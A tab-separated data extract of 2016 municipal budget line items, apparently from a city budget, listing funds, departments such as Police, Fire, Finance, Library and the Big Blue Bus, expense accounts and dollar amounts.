18410	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18411	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18412	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511250.0	STANDBY PAY	816.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18413	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	73428	0	0	0	0	0	0	0	0	0	0	0	73428
18414	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2016	209165	0	0	0	0	0	0	0	0	0	0	0	209165
18415	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522720.0	MILEAGE	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18416	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2016	3132	0	0	0	0	0	0	0	0	0	0	0	3132
18417	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544120.0	PERIODICALS	806.0	 Supplies and Expenses	2016	1697	0	0	0	0	0	0	0	0	0	0	0	1697
18418	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522620.0	RENT	806.0	 Supplies and Expenses	2016	1817	0	0	0	0	0	0	0	0	0	0	0	1817
18419	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1355535	0	0	0	0	0	0	0	0	0	0	0	1355535
18420	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533560.0	CONF / MTGS / TRAVEL-PO	804.0	 Supplies and Expenses	2016	7414	0	0	0	0	0	0	0	0	0	0	0	7414
18421	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533600.0	CONF / MTGS / TRAVEL-KM	804.0	 Supplies and Expenses	2016	7414	0	0	0	0	0	0	0	0	0	0	0	7414
18422	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1645360	0	0	0	0	0	0	0	0	0	0	0	1645360
18423	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511490.0	OVERTIME	804.0	Salaries and Wages	2016	4324	0	0	0	0	0	0	0	0	0	0	0	4324
18424	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	64538	0	0	0	0	0	0	0	0	0	0	0	64538
18425	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1359665	0	0	0	0	0	0	0	0	0	0	0	1359665
18426	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	8160	0	0	0	0	0	0	0	0	0	0	0	8160
18427	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	118200	0	0	0	0	0	0	0	0	0	0	0	118200
18428	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2016	117644	0	0	0	0	0	0	0	0	0	0	0	117644
18429	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	520000.0	SUPPLIES AND EXPENSES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18430	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588080.0	OFFICE EQUIPMENT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18431	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2016	3893491	0	0	0	0	0	0	0	0	0	0	0	3893491
18432	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2016	17000	0	0	0	0	0	0	0	0	0	0	0	17000
18433	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2016	38967	0	0	0	0	0	0	0	0	0	0	0	38967
18434	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	17738	0	0	0	0	0	0	0	0	0	0	0	17738
18435	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	22000	0	0	0	0	0	0	0	0	0	0	0	22000
18436	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533590.0	CONF / MTGS / TRAVEL-GD	804.0	 Supplies and Expenses	2016	3089	0	0	0	0	0	0	0	0	0	0	0	3089
18437	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	47312	0	0	0	0	0	0	0	0	0	0	0	47312
18438	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2016	312	0	0	0	0	0	0	0	0	0	0	0	312
18439	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522311.0	DISCOUNTS AVAILABLE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18440	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18441	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2016	18000	0	0	0	0	0	0	0	0	0	0	0	18000
18442	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522620.0	RENT	806.0	 Supplies and Expenses	2016	67777	0	0	0	0	0	0	0	0	0	0	0	67777
18443	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2016	9423	0	0	0	0	0	0	0	0	0	0	0	9423
18444	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2016	8160	0	0	0	0	0	0	0	0	0	0	0	8160
18445	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2016	5799	0	0	0	0	0	0	0	0	0	0	0	5799
18446	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2016	6520	0	0	0	0	0	0	0	0	0	0	0	6520
18447	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2016	20106	0	0	0	0	0	0	0	0	0	0	0	20106
18448	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2016	132300	0	0	0	0	0	0	0	0	0	0	0	132300
18449	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2016	12000	0	0	0	0	0	0	0	0	0	0	0	12000
18450	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	1494572	0	0	0	0	0	0	0	0	0	0	0	1494572
18451	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2016	4000	0	0	0	0	0	0	0	0	0	0	0	4000
18452	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522045.0	PAYOUTS FOR UNINSURED PL/PD		 Supplies and Expenses	2016	2500000	0	0	0	0	0	0	0	0	0	0	0	2500000
18453	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2016	74000	0	0	0	0	0	0	0	0	0	0	0	74000
18454	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2016	2038	0	0	0	0	0	0	0	0	0	0	0	2038
18455	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2016	34552	0	0	0	0	0	0	0	0	0	0	0	34552
18456	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2016	1064	0	0	0	0	0	0	0	0	0	0	0	1064
18457	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	566240.0	PARKING METER ENFORCEMENT	806.0	 Supplies and Expenses	2016	33305	0	0	0	0	0	0	0	0	0	0	0	33305
18458	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2016	266	0	0	0	0	0	0	0	0	0	0	0	266
18459	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2016	5854	0	0	0	0	0	0	0	0	0	0	0	5854
18460	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2016	586	0	0	0	0	0	0	0	0	0	0	0	586
18461	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2016	14743	0	0	0	0	0	0	0	0	0	0	0	14743
18462	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2016	72676	0	0	0	0	0	0	0	0	0	0	0	72676
18463	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2016	1988591	0	0	0	0	0	0	0	0	0	0	0	1988591
18464	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2016	141743	0	0	0	0	0	0	0	0	0	0	0	141743
18465	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2016	5756	0	0	0	0	0	0	0	0	0	0	0	5756
18466	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2016	80232	0	0	0	0	0	0	0	0	0	0	0	80232
18467	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2016	2129	0	0	0	0	0	0	0	0	0	0	0	2129
18468	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2016	107	0	0	0	0	0	0	0	0	0	0	0	107
18469	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2016	1064	0	0	0	0	0	0	0	0	0	0	0	1064
18470	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555210.0	TRAINING	806.0	 Supplies and Expenses	2016	10856	0	0	0	0	0	0	0	0	0	0	0	10856
18471	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2016	661654	0	0	0	0	0	0	0	0	0	0	0	661654
18472	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2016	2129	0	0	0	0	0	0	0	0	0	0	0	2129
18473	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2016	6480	0	0	0	0	0	0	0	0	0	0	0	6480
18474	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533120.0	SPECIAL EQUIP MAINT		 Supplies and Expenses	2016	746	0	0	0	0	0	0	0	0	0	0	0	746
18475	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544120.0	PERIODICALS		 Supplies and Expenses	2016	53	0	0	0	0	0	0	0	0	0	0	0	53
18476	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544030.0	BADGE / AWARD / NAME PLATES	806.0	 Supplies and Expenses	2016	2225	0	0	0	0	0	0	0	0	0	0	0	2225
18477	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2016	1311614	0	0	0	0	0	0	0	0	0	0	0	1311614
18478	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2016	82022	0	0	0	0	0	0	0	0	0	0	0	82022
18479	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2016	11790	0	0	0	0	0	0	0	0	0	0	0	11790
18480	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2016	31800	0	0	0	0	0	0	0	0	0	0	0	31800
18481	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18482	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2016	65187	0	0	0	0	0	0	0	0	0	0	0	65187
18483	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2016	19158	0	0	0	0	0	0	0	0	0	0	0	19158
18484	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2016	313237	0	0	0	0	0	0	0	0	0	0	0	313237
18485	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566500.0	RECRUITING	806.0	 Supplies and Expenses	2016	18093	0	0	0	0	0	0	0	0	0	0	0	18093
18486	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2016	320	0	0	0	0	0	0	0	0	0	0	0	320
18487	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2016	3194	0	0	0	0	0	0	0	0	0	0	0	3194
18488	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2016	20453	0	0	0	0	0	0	0	0	0	0	0	20453
18489	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2016	3984	0	0	0	0	0	0	0	0	0	0	0	3984
18490	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511650.0	POLICE CADETS	806.0	Salaries and Wages	2016	29510	0	0	0	0	0	0	0	0	0	0	0	29510
18491	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2016	95280	0	0	0	0	0	0	0	0	0	0	0	95280
18492	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2016	9192	0	0	0	0	0	0	0	0	0	0	0	9192
18493	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2016	3938	0	0	0	0	0	0	0	0	0	0	0	3938
18494	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2016	11108	0	0	0	0	0	0	0	0	0	0	0	11108
18495	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2016	9640	0	0	0	0	0	0	0	0	0	0	0	9640
18496	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2016	17560	0	0	0	0	0	0	0	0	0	0	0	17560
18497	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2016	26944	0	0	0	0	0	0	0	0	0	0	0	26944
18498	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2016	3148	0	0	0	0	0	0	0	0	0	0	0	3148
18499	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2016	50064	0	0	0	0	0	0	0	0	0	0	0	50064
18500	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2016	15238120	0	0	0	0	0	0	0	0	0	0	0	15238120
18501	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511490.0	OVERTIME	806.0	Salaries and Wages	2016	5156078	0	0	0	0	0	0	0	0	0	0	0	5156078
18502	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2016	14867	0	0	0	0	0	0	0	0	0	0	0	14867
18503	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2016	5322	0	0	0	0	0	0	0	0	0	0	0	5322
18504	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2016	5343	0	0	0	0	0	0	0	0	0	0	0	5343
18505	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544030.0	BADGE / AWARD / NAME PLA	806.0	 Supplies and Expenses	2016	16285	0	0	0	0	0	0	0	0	0	0	0	16285
18506	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555030.0	EMPLOYEE MEDICAL EXAMS	806.0	 Supplies and Expenses	2016	26608	0	0	0	0	0	0	0	0	0	0	0	26608
18507	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555110.0	LEGAL EXPENSE	806.0	 Supplies and Expenses	2016	43016	0	0	0	0	0	0	0	0	0	0	0	43016
18508	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2016	637	0	0	0	0	0	0	0	0	0	0	0	637
18509	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2016	15653	0	0	0	0	0	0	0	0	0	0	0	15653
18510	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2016	266	0	0	0	0	0	0	0	0	0	0	0	266
18511	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2016	173	0	0	0	0	0	0	0	0	0	0	0	173
18512	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2016	721675	0	0	0	0	0	0	0	0	0	0	0	721675
18513	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18514	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2016	3291	0	0	0	0	0	0	0	0	0	0	0	3291
18515	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2016	11942	0	0	0	0	0	0	0	0	0	0	0	11942
18516	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2016	661	0	0	0	0	0	0	0	0	0	0	0	661
18517	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2016	3051	0	0	0	0	0	0	0	0	0	0	0	3051
18518	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511650.0	POLICE CADETS	806.0	Salaries and Wages	2016	29510	0	0	0	0	0	0	0	0	0	0	0	29510
18519	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2016	49982	0	0	0	0	0	0	0	0	0	0	0	49982
18520	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2016	27658	0	0	0	0	0	0	0	0	0	0	0	27658
18521	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2016	43171	0	0	0	0	0	0	0	0	0	0	0	43171
18522	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2016	9793	0	0	0	0	0	0	0	0	0	0	0	9793
18523	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544020.0	AMMO / SHOOTING SUPPLIES	806.0	 Supplies and Expenses	2016	37881	0	0	0	0	0	0	0	0	0	0	0	37881
18524	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2016	2842365	0	0	0	0	0	0	0	0	0	0	0	2842365
18525	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522620.0	RENT	816.0	 Supplies and Expenses	2016	283871	0	0	0	0	0	0	0	0	0	0	0	283871
18526	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	3895	0	0	0	0	0	0	0	0	0	0	0	3895
18527	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2016	1045	0	0	0	0	0	0	0	0	0	0	0	1045
18528	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2016	285	0	0	0	0	0	0	0	0	0	0	0	285
18529	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522900.0	MEMBERSHIPS AND DUES	812.0	 Supplies and Expenses	2016	12000	0	0	0	0	0	0	0	0	0	0	0	12000
18530	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2016	2348395	0	0	0	0	0	0	0	0	0	0	0	2348395
18531	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2016	42339	0	0	0	0	0	0	0	0	0	0	0	42339
18532	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2016	9228	0	0	0	0	0	0	0	0	0	0	0	9228
18533	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2016	2205	0	0	0	0	0	0	0	0	0	0	0	2205
18534	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	522042.0	RECOVERIES OF PHYSICAL DAMAGE		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18535	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522044.0	PREMIUMS FOR PL & PD-SRV REV		 Supplies and Expenses	2016	10404	0	0	0	0	0	0	0	0	0	0	0	10404
18536	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522912.0	OIL FOR REVENUE EQUIPMENT		 Supplies and Expenses	2016	156825	0	0	0	0	0	0	0	0	0	0	0	156825
18537	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2016	50000	0	0	0	0	0	0	0	0	0	0	0	50000
18538	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2016	7269	0	0	0	0	0	0	0	0	0	0	0	7269
18539	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	80000	0	0	0	0	0	0	0	0	0	0	0	80000
18540	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544220.0	REPAIR PARTS AND MATERIALS		 Supplies and Expenses	2016	1327079	0	0	0	0	0	0	0	0	0	0	0	1327079
18541	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511300.0	HOLIDAY PAY	806.0	Salaries and Wages	2016	545843	0	0	0	0	0	0	0	0	0	0	0	545843
18542	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2016	7518	0	0	0	0	0	0	0	0	0	0	0	7518
18543	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
18544	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18545	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522625.0	OTHER OPERATING RENTS		 Supplies and Expenses	2016	2040	0	0	0	0	0	0	0	0	0	0	0	2040
18546	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2016	30600	0	0	0	0	0	0	0	0	0	0	0	30600
18547	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511972.0	UNIFORM ALLOWANCE		Salaries and Wages	2016	56000	0	0	0	0	0	0	0	0	0	0	0	56000
